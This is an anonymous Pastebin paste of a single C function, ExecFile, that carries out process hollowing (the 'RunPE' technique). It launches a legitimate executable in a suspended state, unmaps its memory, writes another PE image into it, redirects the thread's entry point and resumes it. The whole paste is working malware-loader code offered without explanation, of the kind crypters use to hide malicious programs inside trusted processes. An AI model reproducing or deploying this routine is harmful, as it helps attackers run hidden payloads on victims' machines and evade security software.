Guest User

Untitled

a guest
May 22nd, 2018
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.63 KB | None | 0 0
  1. void ExecFile(LPSTR szFilePath, LPVOID pFile)
  2. {
  3.     PIMAGE_DOS_HEADER IDH;
  4.     PIMAGE_NT_HEADERS INH;
  5.     PIMAGE_SECTION_HEADER ISH;
  6.     PROCESS_INFORMATION PI;
  7.     STARTUPINFOA SI;
  8.     PCONTEXT CTX;
  9.     PDWORD dwImageBase;
  10.     NtUnmapViewOfSection xNtUnmapViewOfSection;
  11.     LPVOID pImageBase;
  12.     int Count;
  13.  
  14.     IDH = PIMAGE_DOS_HEADER(pFile);
  15.     if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
  16.     {
  17.         INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
  18.         if (INH->Signature == IMAGE_NT_SIGNATURE)
  19.         {
  20.             RtlZeroMemory(&SI, sizeof(SI));
  21.             RtlZeroMemory(&PI, sizeof(PI));
  22.  
  23.             if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
  24.             {
  25.                 CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
  26.                 CTX->ContextFlags = CONTEXT_FULL;
  27.                 if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
  28.                 {
  29.                     ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);
  30.  
  31.                     if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)
  32.                     {
  33.                         xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
  34.                         xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
  35.                     }
  36.  
  37.                     pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
  38.                     if (pImageBase)
  39.                     {
  40.                         WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
  41.                         for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
  42.                         {
  43.                             ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
  44.                             WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);  
  45.                         }
  46.                         WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
  47.                         CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
  48.                         SetThreadContext(PI.hThread, LPCONTEXT(CTX));
  49.                         ResumeThread(PI.hThread);
  50.                     }
  51.                 }
  52.             }
  53.         }
  54.     }
  55.     VirtualFree(pFile, 0, MEM_RELEASE);
  56. }
Add Comment
Please, Sign In to add comment